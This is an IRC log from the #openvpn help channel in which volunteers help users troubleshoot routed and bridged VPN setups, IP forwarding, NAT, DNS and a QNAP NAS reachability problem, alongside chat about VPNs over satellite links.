19:29 < Jofironses> I mean, when the game only uses unicasts, is it ok only to use tun?
19:29 < pekster> Right. You should be able to connect to a system by IP just fine (or name if you get DNS working, like using a dnsmasq instance on your LAN and have VPN clients reference it)
19:30 < pekster> If you play around with it and decide tap works better, you'll be better off having openvpn manage a portion of the IP range and have it pass the IPs to clients
19:30 < pekster> Don't use your LAN's dhcp server due to routing issues that come with giving VPN clients a gateway option
19:30 < pekster> Depends on goals really. I
19:30 < pekster> I've also run games over tun quite happily
19:31 < Jofironses> Ok, I will give tun a try. it does seem easier :)
19:31 < pekster> Yea, it's just a simplier setup
19:31 < pekster> !serverlan
19:31 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
19:31 < pekster> That's the de-facto process for exposing a server-LAN to VPN clients in a routed environment
19:31 < pekster> Normally you get a flowchart, but that site is down now
19:33 < Jofironses> k, thanks again for the help!
19:33 < pekster> Yup. If you go the tap direction, that bridge directive with the IPs looks fine, assuming that's your LAN range and assuming that's excluded from your other dhcp system
19:44 -!- t35guy [~Andrew@63.142.161.8] has joined #openvpn
19:45 < pekster> I'd also recommend you pick a less common IP range, since clients using that same range will have problems routing to it due to overlap
19:46 -!- raidz is now known as raidz_away
19:47 -!- t35guy1 [~Andrew@63.142.161.6] has quit [Ping timeout: 245 seconds]
19:50 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:55 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
20:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
20:13 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Read error: Connection reset by peer]
20:15 -!- t35guy1 [~Andrew@63.142.161.5] has joined #openvpn
20:16 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
20:17 -!- t35guy [~Andrew@63.142.161.8] has quit [Ping timeout: 245 seconds]
20:19 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
20:39 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
20:45 -!- tarrant1 [~tarrant@mail.voidbyte.net] has joined #openvpn
20:49 < tarrant1> I got different results from openssl speed aes-128-cbc depending upon if I'm using the -evp. As far as I can find online OpenVPN uses evp by defualt. Can anyone confirm this?
20:50 -!- Jofironses [~kvirc@177.111.43.160] has quit [Read error: Connection reset by peer]
20:53 < pekster> tarrant1: the openvpn codebase does make use of the EVP library, yes
20:54 < pekster> If you have a hardware engine, see openvpn's --engine value, otherwise you'll get whatever functionality your system openssl library supplies via software
20:58 -!- brute11k1 [~brute@89.249.235.121] has quit [Ping timeout: 252 seconds]
20:59 < tarrant1> hmm our aes-ni support seems to kickin automatically as long as we use -evp
20:59 < pekster> For aes-ni you'll want to specifify the relevant engine
20:59 < pekster> !gigabit
20:59 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
21:00 < pekster> See also: `openvpn --show-engines`
21:00 < tarrant1> I'm only seeing rasx and dynamic (which I'm assuming points at rasx)
21:00 < tarrant1> I'll see what I can find.
21:01 < pekster> Sounds like it then, yea
21:03 -!- master_o1_master [~master_of@p4FF2434C.dip0.t-ipconnect.de] has joined #openvpn
21:06 -!- master_of_master [~master_of@p4FF2445F.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
21:19 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
21:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:03 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
22:07 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has joined #openvpn
22:08 < ipu42> !redirect
22:08 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:08 <@vpnHelper> http://ircpimps.org/redirect.png
22:08 < ipu42> !nat
22:08 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
22:09 < ipu42> Hello... Anyone wants to help diagnose what's wrong with my redirect-gateway. I'm on Debian for both server/client.
22:09 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-hftzvaivllvxlulk] has quit [Ping timeout: 276 seconds]
22:10 < ipu42> Hello krzee. Are you there :-)
22:10 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 276 seconds]
22:11 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
22:11 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 276 seconds]
22:12 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
22:12 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
22:13 -!- levifig [~levifig@spwn.co] has joined #openvpn
22:21 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has quit [Quit: leaving]
22:30 -!- t35guy [~Andrew@63.142.161.7] has joined #openvpn
22:33 -!- t35guy1 [~Andrew@63.142.161.5] has quit [Ping timeout: 245 seconds]
22:49 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:52 -!- t35guy1 [~Andrew@63.142.161.4] has joined #openvpn
22:55 -!- t35guy [~Andrew@63.142.161.7] has quit [Ping timeout: 245 seconds]
23:28 -!- t35guy [~Andrew@63.142.161.9] has joined #openvpn
23:30 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:f899:ad78:259c:65fe] has quit [Ping timeout: 256 seconds]
23:31 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
23:32 -!- t35guy1 [~Andrew@63.142.161.4] has quit [Ping timeout: 245 seconds]
23:41 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 245 seconds]
--- Day changed Thu May 09 2013
00:01 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
00:04 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
00:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
00:06 -!- CEnnis91_ [uid3543@gateway/web/irccloud.com/x-ezoqbogpkuevuaoi] has joined #openvpn
00:10 -!- t35guy1 [~Andrew@63.142.161.8] has joined #openvpn
00:11 < al_nz1> you about dazo?
00:13 -!- t35guy [~Andrew@63.142.161.9] has quit [Ping timeout: 245 seconds]
00:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
00:35 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:51 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
00:59 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:01 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:05 -!- CEnnis91_ is now known as CEnnis91
01:17 -!- brute11k [~brute@89.249.235.126] has joined #openvpn
01:20 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:29 -!- t35guy [~Andrew@63.142.161.8] has joined #openvpn
01:31 -!- t35guy1 [~Andrew@63.142.161.8] has quit [Ping timeout: 245 seconds]
02:08 -!- t35guy1 [~Andrew@63.142.161.8] has joined #openvpn
02:10 -!- t35guy [~Andrew@63.142.161.8] has quit [Ping timeout: 255 seconds]
02:29 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 255 seconds]
02:30 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
02:46 <@krzee> !ask
02:46 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
02:47 <@krzee> o he left
02:51 < hjohnson> heh
02:51 < hjohnson> earlier today I was doing a double satellite hop OpenVPN tunnel... lordy it was slow, but it still worked
02:53 <@krzee> nice!
02:53 <@krzee> you may find love in mtu tuning, depending on your link
02:53 < hjohnson> yeah, I was sitting in my seat on a Lufthansa jet at 35000', connected into one of my remote networks, also on satellite
02:53 < hjohnson> (this after I got kicked out of India for an expired visa... oops)
02:55 < jzaw> hjohnson, doesnt that airplane internet cost an arm and a leg?
02:55 < hjohnson> jzaw: it wasn't bad
02:55 <@krzee> $15 ?
02:55 < hjohnson> yeah, something like that.. I had to do a bunch of arranging since my business trip was dead, so it was worthwhile
02:56 < hjohnson> it was 20 euros for the whole flight
02:56 < hjohnson> and should work for the last leg of my flight home too
02:57 < hjohnson> though I'm not sure if that flight has electrical plugs in economy
02:57 < hjohnson> anyhow, it wasn't quite as nice as Connexion by Boeing back in '06, but still not that bad
02:58 < hjohnson> sshing into the switches wasa bit problematic over it though, you had to be aboslutely sure of your typing. :P
02:58 < jzaw> slooooow feed back in the cli ?
02:58 < hjohnson> yeah
02:58 < hjohnson> about 2 seconds or so lag
02:59 < jzaw> been there when i had to use gprs ouch
02:59 < hjohnson> still having some issues with latency on the link I run.. when the link gets saturated and the QoS is working hard, the latency goes way the hell up
02:59 < hjohnson> (though it doesn't drop packets, which is a win)
02:59  * jzaw nods
03:00 < hjohnson> (the far end is a 1Mbps/300kbps dedicated satellite link)
03:00 < jzaw> whats a normal ping on a sat link?
03:00 < hjohnson> depends on the technology
03:00 < hjohnson> if you're running an SCPC link, about 550ms best case scenario
03:01 < hjohnson> shared links, dvb-rcs, etc.. I've seen about 800ms, with like 400ms ofjitter
03:01 < hjohnson> (or more.. )
03:01 < hjohnson> round-trip light-time is 550
03:01 < jzaw> so no good for voip ;)
03:01 < jzaw> esp with that jitter
03:01 < hjohnson> yeah
03:02 < hjohnson> running voip over dedicate dlinks is fine, I do that all the time (it's my day job)
03:02 < hjohnson> especially some of the modems I run that have IP header compression...
03:02 < hjohnson> header compression works really well for voip packets
03:02 < hjohnson> even if they're encrypted
03:05 <@krzee> 64 bytes from 10.0.22.2: icmp_seq=0 ttl=64 time=591.607 ms
03:05 <@krzee> 64 bytes from 10.0.22.2: icmp_seq=1 ttl=64 time=591.781 ms
03:05 <@krzee> 64 bytes from 10.0.22.2: icmp_seq=2 ttl=64 time=591.629 ms
03:05 <@krzee> thats a vpn over sat :D
03:05 < hjohnson> yep
03:05  * hjohnson is in the satcoms biz
03:05 <@krzee> nice
03:05 < hjohnson> I know all about that shit(tm)
03:05 <@krzee> what country?
03:06 < hjohnson> i'm based in .ca
03:06 <@krzee> werd
03:06 < hjohnson> but do a lot of work in .fi, .af, and .in
03:06 < hjohnson> and formerly in .iq
03:06 < jzaw>  8. clueless.aa.net.uk             0.0%     4   97.0 100.8  97.0 104.2   3.6
03:06 -!- mitz_ [~mitz@219.143.36.82] has quit [Remote host closed the connection]
03:07 <@krzee> woohoo got my shell script adding widgets!
03:07 <@krzee> eat THAT annoying launcher appwidgetid
03:08 < hjohnson> i'm pretty happy with the setup I did for the charity I work for though
03:08 < hjohnson> I've got OpenVPN up and running, with the authentication being done against their radius server
03:08 < hjohnson> makes it much easier for them to administer tan having to isue client certificates to each person
03:08 < hjohnson> (even if the latter is theoretically more secure)
03:10 <@krzee> theoretically?  :D
03:10 <@krzee> got a 4096bit password?
03:11 < hjohnson> krzee: no, but there's also a weakness in distributing keys to non-technical users
03:11 < hjohnson> getting them to generate a key, send you a CSR, signing it, and sending the results back is the proper way to do things, but good luck getting your contributions coordinator to do that.
03:12 < hjohnson> krzee: much better to just have her use the same password as she has in the active directory system, and be able to turn access on and off by add/removing users from the VPN Users group
03:12 <@krzee> especially with non-technical admins
03:12 <@krzee> (them, not you)
03:12 < hjohnson> krzee: which I'm also dealing with..
03:13 <@krzee> right, i get it
03:13 <@krzee> i can see scenarios that ild do that
03:13 < hjohnson> I'm the network architect and help them with stuff, but they have an on-site IT guy who handles the day-to-day shit
03:13 <@krzee> hell i once setup a vpn by sending the certs to their iphone's email, so i know a radius server would have been more secure than that
03:13 < hjohnson> great guy, accepts my advice, good at handling the day to day operations, but the guy is normally a school teacher for the peace corps. :P
03:14 <@krzee> (the vpn was only for the iphone user, and they didnt need good encryption just a tunnel)
03:14 <@krzee> hey thats cool, accepts your advice is the hard part
03:15 <@krzee> if you have that you can get stuff done
03:15 < hjohnson> yep
03:15 < hjohnson> I went from a single broadcast domain /20, including the scada that runs the power grid, all the user pcs, the servers, etc..
03:16 <@krzee> ahhhh
03:16 < hjohnson> to an organized network of about 5 VLANs, the scada on its own private network, individual logins for everything, WPA-Enterprise on the wireless
03:16 < hjohnson> i'm much more comfortable with it now. :)
03:16 <@krzee> and this was volunteer work for peace corps?
03:16 < hjohnson> no no
03:17 < hjohnson> it's a non-profit based in washington state.
03:17 < hjohnson> our current IT coordinator previously had been with the peace corps, is now going off to teach school in Egypt
03:17 <@krzee> you donated that work to them?
03:18 < hjohnson> yeah, well, I actually sit on the board of directors of the organization, so I donate a lot more than just the IT shit to them :P
03:18 <@krzee> hjohnson++
03:18 < hjohnson> I do the network design and stuff because it leaves me to do the fun stuff
03:18 <@krzee> thats cool man
03:18 -!- mitz_ [~mitz@219.143.36.82] has joined #openvpn
03:19 < hjohnson> and the day to day desktop support is left to the minions
03:19 -!- mode/#openvpn [+v hjohnson] by krzee
03:20 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
03:20 <+hjohnson> I'm normally a MacOS X/Linux kind of guy, but I have to say that I'm pretty impressed with Active Directory/server 2k8 in terms of user administration and shit
03:21 <+hjohnson> krzee: http://goo.gl/maps/oiYcB that's the village we run (Lutheran retreat centre, probably the most isolated permanently inhabited place in the lower 48 states)
03:21 <@vpnHelper> Title: Google Maps (at goo.gl)
03:22 <+hjohnson> we'll soon have fiber running around the village, SHDSL out to the hydro plant and the garage.. pretty efffective and reliable network
03:22 <+hjohnson> and a 1mbps satellite link to the outside world
03:22 <@krzee> nice!
03:23 <@krzee> looks like the google van didnt make it there
03:23 <@krzee> lol
03:23 <+hjohnson> haha, no, given that they'd have to barge the vehicle up, it hasn't happened
03:24 <+hjohnson> though we thought about inviting them up with the trike or something.
03:24 <+hjohnson> that'd be fun... though they'd probably not want ot do that, since given our reputation for hilarity, the resulting streetview imagery would be... interesting.
03:26 <+hjohnson> (put it this way.. every winter, they hold a winter olympics.. one of the usual events is called "Drag and Carry"
03:26 <+hjohnson> basically you dress up in drag, and then carry a 3 or 4 y/o in a (cleaned out) garbage can down the street.
03:30 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:35 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:40 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:40 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:40 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:47 -!- t35guy [~Andrew@63.142.161.9] has joined #openvpn
03:50 -!- t35guy1 [~Andrew@63.142.161.8] has quit [Ping timeout: 245 seconds]
03:51 < al_nz1> hi krzee
03:52 <@krzee> hai
03:52 < al_nz1> your article on vpn wiki was good
03:52 <@krzee> thanx, i assume you mean the one about lans behind openvpn
03:52 < al_nz1> good explanation
03:52 < al_nz1> yer
03:52 < al_nz1> for routed
03:53 < al_nz1> What do you think of this situation krzee:
03:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
03:55 < al_nz1> I have a OpenVPN server on a NAS which is behind a modem/router. I have a static route in the router so that traffic hitting the router for the OVPN subnet is routed back to the NAS. Life is good and I can access remote LAN resources on their native network address. For some reason though, apparently the makers of the NAS (QNAP) have not enabled loopback between the tun and the eth adapter,
03:55 < al_nz1> and as a result I cant access the NAS on its LAN IP (I need to use the OVPN subnet IP)
03:56 <@krzee> just so you know, you should have asked this back around:
03:56 <@krzee> [01:53]  <al_nz1> [19:10:13] you about dazo?
03:56 <@krzee> i would have answered you hours ago ;]
03:56 < al_nz1> krzee: lol yeah dazo was really helpgul the other day
03:56 <@krzee> right, but you can just ask
03:56 <@krzee> you'll get answers way faster than waiting for certain people
03:56 < al_nz1> krzee: I didnt know the grand master was lurking :-)
03:57 < clever> does anybody here have experience with the android openvpn app?
03:57 < al_nz1> clever: actually I have used it
03:57 < clever> i tried to use it, but it just spews errors, let me grab one
03:57 < al_nz1> but there are a few variants around I think
03:58 <@krzee> al_nz1, why do you need to access it by lan ip?
03:58 < clever> i'm running 'OpenVPN for Android'
03:58 <@krzee> i use that clever
03:58 <@krzee> clever, do you have your openvpn working from some other OS already?
03:58 < clever> krzee: yep, 4 or 5 systems on it
03:59 < clever> hmmm, the .p12 file vanished from /sdcard/
03:59 < clever> let me find it and re-upload to the tablet
03:59 <@krzee> clever, you should be able to import the certs into the android cert store
03:59 < clever> yeah, but that then forces a pin code on the device
03:59 < al_nz1> krzee: well strictly speaking I guess I dont, but other NAS's I have setup with OVPN dont have the loopback problem, and I guess I was wondering if some iptables rules could fix the loopback issue?
03:59 < clever> and it has no timeout when locking, it just instantly locks
03:59 <@krzee> then doesnt it put the cert into the config inline?
04:00 <@krzee> its not "loopback"
04:00 < clever> the ca is embeded inline, but the key isnt
04:00 <@krzee> its ip forwarding
04:00 <@krzee> !linipforward
04:00 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
04:00 < clever> ok, cert restored, let me try to connect
04:01 < clever> krzee: ok, that doesnt make any sense, it decided to just work now...
04:01 <@krzee> heh
04:01 < clever> let me try visiting a vpn ip...
04:01 <@krzee> ip forwarding is what lets packets pass from 1 network interface to another
04:02 < al_nz1> krzee: yeah I have already done the "echo 1 > /proc/sys/net/ipv4/ip_forward"
04:03 < al_nz1> but that doesnt fix the issue.
04:03 < clever> krzee: yep, ip access works, but it broke dns, *looks*
04:03 < al_nz1> remember I can access all remote lan computers, except the NAS itself...so weird
04:03 <@krzee> al_nz1, oh so you access the remote lan computers over the vpn on the NAS?
04:04 <@krzee> then you are blocking it in the firewall on the NAS
04:04 <@krzee> allowing tun in forward, not input or something
04:04 < al_nz1> krzee: iptables on the NAS are empty
04:05 <@krzee> if i had 1c for every time ive heard that :D
04:05 < al_nz1> krzee: hahaha
04:05 < clever> krzee: looks like i need to install a dns cache onto my vpn box, but this looks like its going to work good
04:05 <@krzee> iptables-save
04:05 < al_nz1> krzee: you want to see the output?
04:05 <@krzee> yep
04:05 < clever> ah, bind already going
04:05 < clever> bind      8759  0.1  1.4  49852  7412 ?        Ssl   2012 255:53 /usr/sbin/named -u bind
04:06 < clever> uptime is so long, ps aux wont tell me which month, lol
04:07 < al_nz1> krzee: ok - but while I am getting that check out this, which is what I was referring to with the loopback: http://forum.qnap.com/viewtopic.php?f=50&t=71235&sid=5e4942bb589dcf1f71e3202db6168c42&start=15
04:07 <@vpnHelper> Title: QNAP NAS Community Forum View topic - Open VPN access to local network share? (at forum.qnap.com)
04:07 <@krzee> no idea what they mean by that
04:08 < al_nz1> http://pastebin.com/8NtKpvxu
04:08 < al_nz1> krzee: I guess they mean when stuff leaves tun and it is destined for eth on the OVPN server it doesnt "loopbacl"
04:09 <@krzee> cat /proc/sys/net/ipv4/ip_forward
04:09 <@krzee> on the NAS
04:09 < clever> 10:08:15.942047 IP 10.8.0.1.domain > 10.8.0.30.18789: 33842 Refused- 0/0/0 (44)
04:09 < clever> krzee: looks like bind is actively blocking things, i forget which option will allow it
04:09 < al_nz1> http://pastebin.com/6Qp6m9qq
04:09 < al_nz1> krzee: yip - all these commands on the NAS
04:09 <@krzee> clever sounds like something for #bind
04:10 < clever> yeah
04:10 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
04:10 < clever> just thought you might know
04:10 <@krzee> hmm i dunno al_nz1
04:10 < al_nz1> I even messed around with tcpdump -i tun imcp - and I could see the pings coming in but not going out again
04:11 < al_nz1> thats what got me to thinking perhaps some iptables stuff would fix it
04:11 < clever> al_nz1: yep, thats how i always track down routing problems
04:11 <@krzee> " Remember: The VPN subnet IP addresses do never leave the VPN - to the LAN, all VPN appear to originate from the NAS LAN IP."
04:11 < al_nz1> clever: yeah tcpdump is great for that
04:11 <@krzee> this seems to state there still is NAT
04:11 <@krzee> al_nz1, sniff packets on a lan machine and ping it from a vpn client
04:12 < al_nz1> krzee: yip.
04:12 < clever> last time i bridged 2 networks, i didnt do any nat
04:12 <@krzee> i want to know if the src ip is the NAS lan ip or the vpn client vpn ip
04:12 < al_nz1> krzee: pinging lan clients works, and of course shows as from OVPN server
04:12 <@krzee> what do you mean "of course"
04:12 <@krzee> it shouldnt!!!
04:12 < clever> yeah, it would only do that if you enabled nat
04:13 <@krzee> that means your nas is doing some sort of NAT, but not through iptables since those are in fact empty
04:13 <@krzee> thats the problem, thats why you cant ping the lan ip
04:13 < al_nz1> what I mean is
04:13 <@krzee> it should NOT be nat'ing
04:13 <@krzee> go sniff the packets and show proof
04:13 < al_nz1> I would expect that the packets would show as from eth interface IP?
04:13 <@krzee> dont guess based on past tests, test not
04:13 <@krzee> now*
04:13 <@krzee> i dont care what you expect, i care what the test shows :D
04:13 < al_nz1> ok....doing it!
04:14 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:14 <@krzee> btw, my writeup does not NAT, so in my writeup you needed to add a route to the router for the vpn subnet in order for the lan to work with it
04:16 < clever> krzee: yep, clearly a problem with bind config, i can use it via the lan but not vpn, i'll go check #bind
04:16  * hjohnson was debating whether he should have advertised the OpenVPN subnet via ospf into his internal network, or just put in the static route
04:16 <+hjohnson> I decided not to polish thee turd and went static :P
04:16 <@krzee> how would it really ospf anyways?
04:16 <@krzee> you could use it as an ospf path? but destination?
04:16 <+hjohnson> it's just a matter how I propagate the route into some of the other subnets in my network
04:17 <@krzee> oh
04:17 <@krzee> hah
04:17 <+hjohnson> I have 5 routers in the network now, effectively..
04:17 <@krzee> we'ld have fun together, i can tell
04:18 <+hjohnson> core routing is now down by a cisco 4948 switch, QoS uplink routing, and SHDSL, handled by a cisco 3825, and then a couple of 1803s
04:18 <+hjohnson> and then the linux VM that's running the OpenVPN gateway
04:18 <+hjohnson> er done
04:18 <+hjohnson> not down
04:19 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Quit: Using ZNC - http://znc.sourceforge.net]
04:21 < clever> root@newrouter:~# ip route add 10.8.0.0/24 via 10.0.0.60
04:21 < clever> and the final key in my puzzle, the vpn server has turned into a non-nat proxy, and my router forgot the return path
04:23 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
04:23 < al_nz1> krzee: ok. A ping to a remote LAN client shows src IP = OpenVPN subnet with client IP (ie 10.8.0.6)
04:24 <@krzee> ok that is right
04:24 <@krzee> so sniff on the tun of the nas when pinging the lan ip
04:24 <@krzee> see wassup
04:25 <@krzee> al_nz1, that sniff for above test was on the client, right?
04:25 <@krzee> err
04:25 <@krzee> i mean you were sniffing the lan machine while pinging from client, right?
04:26 < al_nz1> yeah that was snffing on the client
04:26 < al_nz1> this is from tun on vpn server
04:26 < al_nz1> /share/MD0_DATA/.qpkg/Optware/etc/openvpn/server.conf
04:26 < al_nz1> /
04:26 < al_nz1> woops
04:26 <@krzee> al_nz1, i need you to sniff on the LAN machine while pinging it from the vpn client
04:27 < al_nz1> thats what I did first time
04:27 <@krzee> ok
04:27 < al_nz1> now I am sniffing tun while doing the same
04:27 <@krzee> now sniff tun on nas while pinging nas lan ip
04:28 < al_nz1> http://pastebin.com/1tqHJ6g2
04:28 <@krzee> well it is responding
04:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
04:29 <@krzee> does your client show ping timeouts?
04:29 < al_nz1> sure, but the problem is not with the remote clients, but with *only* the vpn server itself
04:29 < al_nz1> no - it gets replies
04:29 <@krzee> i said to ping the nas lan ip
04:29 <@krzee>  <krzee> now sniff tun on nas while pinging nas lan ip
04:29 < al_nz1> oh sorry
04:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:29 < al_nz1> standby
04:31 < al_nz1> http://pastebin.com/yTtBkqgS
04:31 < al_nz1> no reply!
04:31 < al_nz1> and it timed out my end
04:31 < al_nz1> ...no loopback
04:31 < clever> al_nz1: add -n to the tcpdump
04:32 <@krzee> as in no lo0?
04:32 < clever> the dns is hiding the most important detail
04:32 < al_nz1> there is a lo
04:32 < al_nz1> but no loopback between OVPN and eth
04:32 < al_nz1> ie tun and eth
04:32 <@krzee> that is called ip forwarding
04:33 < al_nz1> I have put the -n in but same output
04:33 <@krzee> but its allowing it to the rest of the lan, just not itself
04:33 <@krzee> ya man i dunno
04:33 < al_nz1> exactely
04:33 <@krzee> but the forum for your NAS says its expected
04:33 < clever> al_nz1: it still showed QNAP in the output?
04:33 <@krzee> so its something weird they did to you
04:33 < al_nz1> yes, but silly if you ask me
04:33 <@krzee> al_nz1, no but we know thats his lan ip for the nas anyways
04:34 <@krzee> sorry i meant clever
04:34 < al_nz1> I thought I might be able to "fix" it with ip tables
04:34 <@krzee> if it were iptables blocking it
04:35 < al_nz1> krzee: done in the kernel somewhere? at a higher level?
04:35 <@krzee> dunno dude
04:35 < al_nz1> I should stick to synology!
04:35 <@krzee> better to ask the people who know your nas than the people who know openvpn
04:36 < al_nz1> true.
04:37 < al_nz1> someone said used bridged, but I like routed, because I can leave it connected and still use my own internet gateway for internet traffic
04:38 <@krzee> and im finding people talking about loopback support in routers, and i get the idea when it applies to a nat device, but not when it applies to your NAS
04:38 <@krzee> you're right, bridged is not the solution
04:38 <@krzee> better to use split-dns and access it by hostname instead of ip or something
04:38 <@krzee> or a hosts entry
04:39 <@krzee> or just use vpn ip for it
04:39 <@krzee> depending on your needs
04:39 < al_nz1> krzee: hosts entry could be a good trick
04:39 < clever> just make sure you remember, i once spent several hours trying to figure out why i couldnt connect to a certain host
04:40 < clever> i was trying to reuse the hostname on another ip
04:40 <@krzee> hah i helped someone diagnose that problem today IRL ^
04:40 <@krzee> turns out the ISP had a bad route to their subnet their server is on
04:40 < clever> biggest problem i can see today, dig bypasses the hosts file, and i prefer dig over ping to get an ip
04:40 < clever> so it skips a key file that every other app uses
04:40 <@krzee> so glad i wasnt diagnosing that one in here, woulda been hell on the user
04:40 <+hjohnson> krzee: back in the days of yore, I had built up my firwall with a staci, not being to careful, and set the subnet to a /24
04:41 <+hjohnson> krzee: turns out half the internet stopped working (or so it seemed)
04:41 < clever> krzee: i ran into a bad route to google just 2 days ago
04:41 <+hjohnson> turns out I really should ahve been on a /25, and the ISP's Akamai gateway was on the other half of the /24 from what i was on
04:41 < clever> krzee: ns1.google.com was unrouteable, causing all google domains to not resolve
04:41 <@krzee> i currently have a bad route to duckduckgo.com if i dont tunnel
04:41 < clever> but if i used 8.8.8.8 as my dns server, they resolve good, and connect (different route)
04:42 < al_nz1> krzee: can you put two Ips in the hosts file, or does it have to be IP and hostname?
04:43 < clever> krzee: do you happen to know of any bgp related apps, that can ping a host from each advertised subnet, and discover where a break is in the internet?
04:43 <@krzee> al_nz1, huh?
04:43 < clever> al_nz1: the format is always 1 ip, then multiple names for it, i dont think /etc/hosts can ever do round-robin
04:43 <@krzee> clever, i do not
04:44 <@krzee> but should be rather scriptable
04:44 <@krzee> oh, ya no rr hosts file
04:44 < clever> yeah, just need to get a bgp table dump, formulate a few optimal routes, and then do a phonebook search along that route to find the break
04:44 <@krzee> if you're moving between real location and vpn, you could use dnsmasq for splitdns
04:44 <@krzee> !splitdns
04:44 <@vpnHelper> "splitdns" is see http://www.thekelleys.org.uk/dnsmasq/doc.html for dnsmasq, which will let you do split-dns setups
04:46 < al_nz1> righto, Im off to change a shitty nappy and bed!
04:46 < al_nz1> night guys. thanks krzee
04:46 <@krzee> gnite yw
04:47 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit []
05:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:10 -!- t35guy1 [~Andrew@63.142.161.18] has joined #openvpn
05:11 -!- t35guy [~Andrew@63.142.161.9] has quit [Ping timeout: 245 seconds]
05:25 -!- yes_understand [~chatzilla@91.252.166.98] has joined #openvpn
05:28 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 264 seconds]
